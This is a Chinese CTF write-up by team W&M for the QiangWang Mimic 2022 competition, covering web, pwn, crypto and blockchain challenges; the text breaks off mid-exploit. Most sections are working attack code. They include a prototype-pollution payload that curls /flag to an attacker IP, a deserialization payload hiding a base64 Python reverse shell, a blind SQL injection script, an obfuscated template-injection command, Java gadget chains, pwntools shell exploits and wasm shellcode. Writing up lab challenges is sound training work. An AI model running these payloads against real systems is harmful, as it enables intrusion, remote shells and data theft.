强网拟态 2022 By W&M

·
Write - Up no tag November 6, 2022
  • WEB
    • WHOYOUARE
    • popsql
    • 没有人比我更懂PY
    • easy_java
    • ezus
    • NoRCE
  • MIMIC
    • pwn1
    • pwn1-1
    • pwn2-1
    • web_mimic
  • Crypto
    • Vigenere
    • weakrandom
  • BLOCKCHAIN
    • ToBeEquel
  • PWN
    • slot_missing
    • webheap
    • webheap_revenge
    • bfbf
    • store
    • only
  • REVERSE
    • comeongo
    • mcmc
  • MISC
    • Welcome
    • babymisc

WEB

WHOYOUARE

constructor.prototype原型链污染 argv0 $0

import json
import requests

url = "http://172.52.31.56:3000/user"


def req(payload):
    r = requests.post(url, json={
        "user": json.dumps({
            "command": ["-c", payload],
            "constructor": {
                "prototype": {
                    "argv0": "curl -d@/flag 10.92.85.14:2333"
                }
            }
        })
    })
    d = r.json()
    if d['status'] ==0:
        print(d['info'].removeprefix('User of guest : '))
    else:
        print(d)

req("env")
req("$0")

popsql

import requests
flag=''
for a in range(1,9999):
    print(a)
    for i in range(30,130):
        payload=("' or if((select STRCMP(hex(right((select (f1aG123) from Fl49ish3re),"+str(a)+")),'"+str(hex(i))[2:]+flag+"')),1,benchmark(9999999,md5('test')))#").replace(" ","/**/")
        try:
            #UPDATE `Fl49ish3re` SET `f1aG123` = ? WHERE `f1aG123` = ?
            #Fl49ish3re
            #users,Fl49ish3re
            r=requests.post(url="<http://172.52.31.84/index.php",data={"username":"admin","password>":payload},timeout=1)
            #print(r.text)
        except:
            flag=str(hex(i))[2:]+flag
            print(payload)
            print(flag)
            break

sys.x$statement_analysis读列名

没有人比我更懂PY

data={{()["__\\143\\154\\141\\163\\163__"]["__\\155\\162\\157__"][1]["__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__"]()[247]["__\\151\\156\\151\\164__"]["__\\147\\154\\157\\142\\141\\154\\163__"]["\\157\\163"]["\\160\\157\\160\\145\\156"]("\\143\\141\\164\\40\\57\\146\\154\\141\\147")["\\162\\145\\141\\144"]()}}

不允许有a-z。八进制绕过

easy_java

前面rogue mysql 把源码读下来

然后是个反序列化

url=jdbc:mysql://10.92.85.6:3306/test?%2561%2575%2574%256f%2544%2565%2573%2565%2572%2569%2561%256c%2569%257a%2565 =true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_Groovy1_bash -c {echo,cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pOyBzLmNvbm5lY3QoKCIxMC45Mi44NS42IiwxMzM3KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=}|{base64,-d}|{bash,-i}

第一层用url编码绕过。第二层加个空格绕过

然后Groovy反序列化直接用

ezus

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:76:"php://filter/read=convert.base64-encode/try|pass/resource=/var/www/html/hint";s:4:"hint";s:67:"aaaa://localhost..@prankhub/../../../../../../../f1111444449999.txt";}}

反序列化逃逸。fastdestruct。

NoRCE

反序列化禁用了com.example.demo.bean.Connect和java.security.*

二次反序列化绕过

http://tttang.com/archive/1701/#toc_rmiconnector

二次反序列化。BadAttributeValueExpException到MyBean的tostring然后到``Connect触发jdbc

roguemysql netdoc列目录。读文件

import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException, IOException {
        Connect c = new Connect("jdbc:mysql://10.92.85.6:3306/jdbc?allowLoadLocalInfile=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true", "", "");
        MyBean my = new MyBean("", "", c);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc, my);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  // 本体
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式，懂？
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();
        String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());

        InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        System.out.println(data);

    }
}
import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class exp2 {
    public static void setField(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setField(jmxServiceURL, "urlPath", "/stub/rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAEnQAA2V4cHQACGV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAHGNvbS5leGFtcGxlLmRlbW8uYmVhbi5NeUJlYW4BFaoXHFZFKQIAA0wABGNvbm50ACZMamF2YXgvbWFuYWdlbWVudC9yZW1vdGUvSk1YQ29ubmVjdG9yO0wAB21lc3NhZ2VxAH4AAUwAA3VybHEAfgABeHBzcgAdY29tLmV4YW1wbGUuZGVtby5iZWFuLkNvbm5lY3RHjtzGNSsWrgIAA0wABG5hbWVxAH4ABUwACHBhc3N3b3JkcQB+AAVMAAN1cmxxAH4ABXhwdAAAcQB+ABt0AG5qZGJjOm15c3FsOi8vMTAuOTIuODUuNjozMzA2L2pkYmM/YWxsb3dMb2FkTG9jYWxJbmZpbGU9dHJ1ZSZtYXhBbGxvd2VkUGFja2V0PTY1NTM2MCZhbGxvd1VybEluTG9jYWxJbmZpbGU9dHJ1ZXEAfgAbcQB+ABs=");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        MyBean my = new MyBean("", "", rmiConnector);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc, my);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  // 本体
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式，懂？
        objectOutputStream.writeUTF("cb2a2fbd");
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();
        String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        //byte[] bytes = tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
        String secret = data.substring(0, 6);
        String key = objectInputStream.readUTF();
        System.out.println(key);
        System.out.println(secret);
        System.out.println(data);
        if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
            objectInputStream.readObject();
            System.out.println("oops");
        } else {
            System.out.println("incorrect key");
        }
    }

image-20221106162721087

MIMIC

pwn1

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
#sh = process('./pwn1-1')
sh = remote('172.52.31.74', 9999)

def choice(idx):
    sh.sendline(str(idx))

choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0x00000000000012A0
log.success("code_base:\\t" + hex(codebase))

#gdb.attach(sh, "b printf")

printf_got = codebase + 0x4028
system_plt = codebase + 0x1046
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()

pwn1-1

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
sh = process('./pwn1')
#sh = remote('172.52.31.20', 9999)

def choice(idx):
    sh.sendline(str(idx))

choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0xa94
log.success("code_base:\\t" + hex(codebase))

gdb.attach(sh, "b printf")

printf_got = codebase + 0x202038
system_plt = codebase + 0x876
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()

pwn2-1

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./pwn2-1"

# context.timeout = 1

def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary

def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc

def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])

def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\\t'
        return_address = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""

def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()

def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("choice :", str(idx))

def add(size, content):
    choice(1)
    sh.sendlineafter("size :", str(size))
    sh.sendafter("Content :", str(content))

def delete(idx):
    choice(2)
    sh.sendlineafter("Index :", str(idx))

def show(idx):
    choice(3)
    sh.sendlineafter("Index :", str(idx))

def pwn(sh, elf, libc):
    context.log_level = "debug"
    choice(5)
    sh.recvuntil('0x')
    codebase = int(sh.recvline(), 16) - 0x00000000000011F0
    magic = codebase + 0x0000000000001B70
    log.success("code_base:\\t" + hex(codebase))
    add(0x68, 'a' * 0x68)
    add(0x68, 'b' * 0x68)
    delete(0)
    delete(1)
    add(0x8, p64(magic))
    show(0)
    #gdb.attach(sh)
    #delete(0)

    sh.interactive()

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

web_mimic

des一把索

image-20221106162920886

Crypto

Vigenere

https://d33b4t0.com/Classical%20Cryptography/ DBT脚本一把梭

import gmpy2
f = open(r'cipher.txt','r')
c = f.read()
f.close()
best_index = 0.065
sum = 0
dic_index = {'a': 0.08167,'b': 0.01492,'c': 0.02782,'d':0.04253,'e': 0.12702,'f':0.02228,'g': 0.02015,'h':0.06094,'i':0.06966,'j':0.00153,'k':0.00772,'l':0.04025,'m':0.02406,'n':0.06749,'o':0.07507,'p':0.01929,'q':0.00095,'r':0.05987,'s':0.06327,'t':0.09056,'u':0.02758,'v':0.00978,'w':0.02360,'x':0.00150,'y':0.01974,'z':0.00074}

def IndCo(s):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    freq = {}
    for i in alpha:
        freq[i] = 0
    for i in s:
        freq[i] =  freq[i] + 1
    index = 0
    for i in alpha:
        index = index + (freq[i]*(freq[i] - 1 )) / (len(s) * (len(s) - 1 ))
    return index

def IndCo_m(s):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    freq = {}
    for i in alpha:
        freq[i] = 0
    for i in s:
        freq[i] += 1
    index = 0
    for i in alpha:
        index += freq[i] / len(s) * dic_index[i]
    return index

def get_keylen(c):
    keylen = []
    for i in range(1,100):
        average_index = 0
        for j in range(i):
            s = ''.join(c[j+i*x] for x in range(0,len(c)//i))
            index = IndCo(s)
            average_index+=index
        average_index = average_index/i - best_index
        if abs(average_index)<0.01:
            keylen.append(i)
    return keylen

keylen = get_keylen(c)
print("keylen", keylen)

def decrypt(c,i,j):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    m = ''
    for x in c:
        m += alpha[((alpha.index(x)-j)*gmpy2.invert(i,26))%26]
    return m 

def get_key(c):
    for i in range(26):
        if gmpy2.gcd(i,26)!= 1 :
            continue
        for j in range(26):
            m = decrypt(c,i,j)
            index = IndCo_m(m)
            if abs(index-0.065)<0.01:
                return (i,j)

def get_all_key(s,keylen):
    for i in range(keylen):
        temps = ''.join([s[i+x*keylen] for x in range(0,len(s)//keylen)])
        print(get_key(temps))

get_all_key(c,keylen[0])

from Crypto.Cipher import AES

plaintext = ''
k1 = [3,15,17,7,5,5,19,19,3,15,1,23,5,11,25]
k2 = [18,25,20,12,3,16,14,15,6,0,9,18,10,7,12]
l1 = len(k1)
l2 = len(k2)
alpha='abcdefghijklmnopqrstuvwxyz'
for i in range(len(c)):
    plaintext+=alpha[((alpha.index(c[i])-k2[i%l2])*gmpy2.invert(k1[i%l1],26))%26]

print(plaintext)

from Crypto.Util.number import *
cipher = 0xe0365a1ed561342b57ce068008a20ce34e4d488e0b43954e7f638f85d36f416b07d1139bab9995ab3afd8d09f9ee0b91
cipher = long_to_bytes(cipher)

for i in range(len(plaintext)):
    key = plaintext[i:i+16]
    aes = AES.new(key.encode(), AES.MODE_ECB)
    flag = aes.decrypt(cipher)
    if b'flag' in flag:
        print(flag)
        print(key)
        break

weakrandom

爆破猜key就行

from tqdm import tqdm
from pwn import *
import hashlib

POST = '172.52.31.158'
# POST = '127.0.0.1'
HOST = 9998
r = remote(POST,HOST)
context.log_level = 'debug'

table = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
def passpow():
    rev = r.recvuntil("sha256(XXXX+")
    suffix = r.recv(16).decode()
    r.recvuntil(" == ")
    res = r.recv(64).decode()
    def f(x):
        hashresult = hashlib.sha256((x+suffix).encode()).hexdigest()
        if hashresult == res:
            return 1
        else:
            return 0
    prefix = util.iters.mbruteforce(f,table,4,'upto')
    r.recvuntil("XXXX:")
    r.sendline(str(prefix))

def talk(num):
    r.recvuntil("guess : ")
    r.sendline(str(num))

class WeakRandom:
    def __init__(self,seed,n,s):
        self.x = seed
        self.n = n
        self.s = s

    def next(self):
        x = int((self.x ** 2) // (10 ** (self.s // 2))) % self.n
        self.x = x
        high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1)
        low = x & (2 ** 16 - 1)
        result = high << 16 | low
        return result

passpow()
talk(0)
r.recvuntil("Fail! The number is ")
output = int(r.recvline(False))
low = output & (2 ** 16 - 1)
print(low, output)
n, s, x = 10000000000, 4, 0
for high in tqdm(range(0xffff+1)):
    x = high << 16 | low
    if (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1) == output >> 16:
        print("Found!", x)
print("x:", x)
Q = WeakRandom(x,n,s)

for i in range(20):
    talk(Q.next())

r.interactive()

BLOCKCHAIN

ToBeEquel

nc第一步爆破

from pwn import *

def passpow():
    sh.recvuntil('sha256')
    s = sh.recv().decode('utf-8')
    print(s)
    prefix = re.split('\\(', s)[1][:8]
    while 1:
        answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
        bits = bin(int(hashlib.sha256((prefix + answer).encode()).hexdigest(), 16))[2:]
        if bits.endswith('00000000000000000000'):
            print(answer)
            sh.sendline(answer)
            return

sh = remote('140.210.195.172', 10001)
passpow()
sh.interactive()

solidity合约源码

pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

contract ToBeEquel {
    address private owner;
    mapping(address => uint) public balances;
    uint private last_balance;
    event ForFlag(address addr);

    constructor() public {
        owner = msg.sender;
        balances[owner] = 500;
    }

    modifier onlyOwner {
        require(msg.sender == owner || msg.sender == address(this), "not authorized");
        _;
    }

    function CallTest(address to, string memory customFallback, bytes memory data) public {
        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, data)
            );
            assert(success);
        }
    }

    function _isContract(address addr) internal view returns (bool) {
        uint length;
        assembly {
            length := extcodesize(addr)
        }
        return (length > 0);
    }

    function _Cal(uint value, uint amount) public onlyOwner {
        require(balances[tx.origin]<balances[owner]);
        require(balances[tx.origin]>=last_balance);
        balances[owner] -= uint(value & 0xff);
        balances[tx.origin] += amount;
        last_balance = balances[tx.origin];
    }

    function getFlag() external {
        require(balances[owner]==balances[msg.sender]);
        emit ForFlag(msg.sender);
    }   
}

要求balances[owner] == balances[msg.sender]，可以修改两个值的地方是_Cal，而_Cal只有Owner可以调用。阅读代码发现可以用CallTest来调用。

由于CallTest中data的类型是bytes，所以内存结构如下。

feb6d173                -> function signature
address(msg.sender)     -> caller address
0x40                    -> data offset
0x20                    -> data size
data raw bytes          -> data

其中address通过爆破可控，data可控（但是没用），offset应该可控，但是不需要。也就是说可以控制_Cal里的value。

那么做两次调用，第一次 balances[origin] = 0 + 64, balance[owner] = 500 - 255 = 245，第二次第二次 balances[orginal] = 64 + 64 = 128, balance[owner] = 245 - 117 = 128。只需要生成两个账户，最低位分别为0xff和0x75即可。

from web3 import Web3, HTTPProvider
from ethereum import utils
import os, sys

# generate EOA with the ability to deploy contract with appendix 1b1b
# <https://hitcxy.com/2020/generate-address/>
def generate_eoa2(surfix):
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith(surfix):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    return addr, priv, utils.decode_addr(utils.mk_contract_address(addr, 0))

def hack(public, data, private, to=None):
    txn = {
        'from': Web3.toChecksumAddress(public),
        'to': Web3.toChecksumAddress(to),
        'chainId': 0x22b8,  # w3.eth.chainId,
        'gasPrice': w3.eth.gasPrice,
        'gas': 8000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'data': data,
    }
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    print("txn_hash=", txn_hash)
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print(txn_receipt)
    return txn_receipt

w3 = Web3(Web3.HTTPProvider("<http://140.210.195.172:8545>"))

public_wallet = "REDACTED"
private_wallet = "REDACTED"
contract = "0x70b3aC68bF86d10b6A4D47977B7002A065735253"

public_ff, priavte_ff, contract_ff = generate_eoa2("ff")
public_75, private_75, contract_75 = generate_eoa2("ff")

# Deploy Attack
'''
contract Exp {
    bytes public test;
    ToBeEquel other;
    constructor() public payable {
        other = ToBeEquel(address(0x70b3aC68bF86d10b6A4D47977B7002A065735253));
    }

    function trigger() public {
        other.CallTest(address(other), "_Cal(uint256,uint256)",bytes(abi.encode(0x1337)));
    }
}
'''

data = "0x60806040527370b3ac68bf86d10b6a4d47977b7002a065735253600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e5806100686000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80637fec8d381461003b578063f8a8fd6d14610045575b600080fd5b610043610063565b005b61004d610137565b60405161005a91906102af565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0f1d69c600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166113376040516020016100d791906102d1565b6040516020818303038152906040526040518363ffffffff1660e01b815260040161010392919061026c565b600060405180830381600087803b15801561011d57600080fd5b505af1158015610131573d6000803e3d6000fd5b50505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b6101de81610319565b82525050565b60006101ef826102ec565b6101f981856102f7565b935061020981856020860161036b565b6102128161039e565b840191505092915050565b61022681610359565b82525050565b6000610239601583610308565b91507f5f43616c2875696e743235362c75696e743235362900000000000000000000006000830152602082019050919050565b600060608201905061028160008301856101d5565b81810360208301526102928161022c565b905081810360408301526102a681846101e4565b90509392505050565b600060208201905081810360008301526102c981846101e4565b905092915050565b60006020820190506102e6600083018461021d565b92915050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061032482610339565b9050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103648261032b565b9050919050565b60005b8381101561038957808201518184015260208101905061036e565b83811115610398576000848401525b50505050565b6000601f19601f830116905091905056fea26469706673582212209de64f4e2c3f3a232d4deefbff97e3d9a406c7b4f95f87164da5ed3202782f6264736f6c634300060c0033"

print(hack(public=public_ff, data=data, private=priavte_ff, to=None))
print(hack(public=public_75, data=data, private=private_75, to=None))

# call trigger()
data = "0x7fec8d38"
hack(public=public_wallet, data=data, private=private_wallet, to=contract_ff)
hack(public=public_wallet, data=data, private=private_wallet, to=contract_75)

# call getflag()
data = "0xf9633930"
hack(public=public_wallet, data=data, private=private_wallet, to=contract)

PWN

slot_missing

编译过程

git clone <https://github.com/wasm3/wasm3.git>
cd wasm3
git checkout 9dcfce271c2fac86823725fc9ec0f75309d820e4
git apply patch.diff
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-z execstack" -DCMAKE_CXX_FLAGS="-z execstack" ..
make

值得注意的是开了 -z execstack，并且在 18.04 下，栈和堆都具有可执行权限，由于一直在 ubuntu 20.04 下调试，一直以为堆没有可执行权限，因此卡了很久😂。

patch.diff

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 2a4a8aa..b1cac8c 100755
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -186,6 +186,8 @@ endif()

 target_link_libraries(${OUT_FILE} m3)

+set(BUILD_WASI "none")
+
 if(BUILD_WASI MATCHES "simple")
   set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Dd_m3HasWASI")
 elseif(BUILD_WASI MATCHES "metawasi")
diff --git a/platforms/app/main.c b/platforms/app/main.c
index d4af4e4..0327153 100644
--- a/platforms/app/main.c
+++ b/platforms/app/main.c
@@ -71,7 +71,7 @@ M3Result link_all  (IM3Module module)
     res = m3_LinkSpecTest (module);
     if (res) return res;

-    res = m3_LinkLibC (module);
+    /*res = m3_LinkLibC (module);
     if (res) return res;

 #if defined(LINK_WASI)
@@ -92,7 +92,7 @@ M3Result link_all  (IM3Module module)
     }
     if (res == m3Err_functionLookupFailed) { res = NULL; }
 #endif
-
+    */
     return res;
 }

@@ -281,7 +281,8 @@ M3Result repl_call  (const char* name, int argc, const char* argv[])

         return result;
 #else
-        return "WASI not linked";
+        return m3_CallArgv(func, 0, NULL);
+        //return "WASI not linked";
 #endif
     }

diff --git a/source/m3_compile.c b/source/m3_compile.c
index 8a93330..006ddfa 100644
--- a/source/m3_compile.c
+++ b/source/m3_compile.c
@@ -1791,6 +1791,17 @@ _   (EmitSlotNumOfStackTopAndPop (o));
     _catch: return result;
 }

+static
+M3Result  Compile_Pwn  (IM3Compilation o, m3opcode_t i_opcode)
+{
+    M3Result result = m3Err_none;
+    IM3Operation op = op_Pwn;
+
+_   (EmitOp  (o, op));
+_   (EmitSlotNumOfStackTopAndPop (o));
+
+    _catch: return result;
+}

 static
 M3Result  ReadBlockType  (IM3Compilation o, IM3FuncType * o_blockType)
@@ -2539,7 +2550,7 @@ const M3OpInfo c_operationsFC [] =

     M3OP( "memory.copy",            0,  none,   d_emptyOpList,                           Compile_Memory_CopyFill ), // 0x0a
     M3OP( "memory.fill",            0,  none,   d_emptyOpList,                           Compile_Memory_CopyFill ), // 0x0b
-
+    M3OP( "wasm.pwn",               0,  none,   d_emptyOpList,                           Compile_Pwn ), //0x0c

 # ifdef DEBUG
     M3OP( "termination", 0, c_m3Type_unknown ) // for find_operation_info
diff --git a/source/m3_exec.h b/source/m3_exec.h
index 461ffaa..f21c0ee 100644
--- a/source/m3_exec.h
+++ b/source/m3_exec.h
@@ -742,6 +742,12 @@ d_m3Op  (MemFill)
     else d_outOfBoundsMemOp (destination, size);
 }

+d_m3Op  (Pwn)
+{
+    u32 *ptr = slot_ptr (u32);
+    printf("ptr=0x%lx\\n",ptr);
+    nextOp ();
+}

 // it's a debate: should the compilation be trigger be the caller or callee page.
 // it's a much easier to put it in the caller pager. if it's in the callee, either the entire page

项目：https://github.com/wasm3/wasm3.git，给一次执行任意 wasm 代码的权限

https://github.com/ha1vk/blackhat_wasm

#安装wat2wasm
sudo apt install wabt

漏洞点（CVE-2022-34529）：https://github.com/wasm3/wasm3/issues/337

新增的功能 wasm.pwn 在 wat2wasm 源码里可以找到为 table.init（应该是 wasm3 没有实现完整），我们这边用 table.init 替代一下，然后搜索替换后缀数据为 NOP (01)，使用新增功能 op_Pwn 结合这个漏洞可以做到 CALL PC_STACK 上的数据，但是 PC_STACK 一般是编译后各种 OP 的地址和参数的下标。

通过各种尝试可以找到 global.get 可以插入一个堆地址到 PC_STACK，插入的堆地址的数据可控（为全局变量数据），这样结合编译时的选项可以让程序到堆上执行 shellcode，但没找到创建连续数据的方式，这里用多个全局变量，然后之间用 JMP 串联来实现

EXP

import os
code = '''
(module
  (type (;0;) (func))  
  (global $test (;0;) (mut i64) (i64.const 0x28ebc031485e5041))
  (global $test2 (;0;) (mut i64) (i64.const 0x28ebd23148ff3148))
  (global $test3 (;0;) (mut i64) (i64.const 0x28eb909090c2ff48))
  (global $test4 (;0;) (mut i64) (i64.const 0x28eb050f10e2c148))

  (func $_start (type 0)
      (local i64 i64 i64 i64 i64 i64 i64 i64 i64 i64)

      f32.const 1.1
      f32.ceil
      table.init 0
      global.get $test
      global.set $test

  )
  (memory (;0;) 0x2)
  (export "_start" (func $_start))
)
'''

lines = code.split('\\n')
code = ''
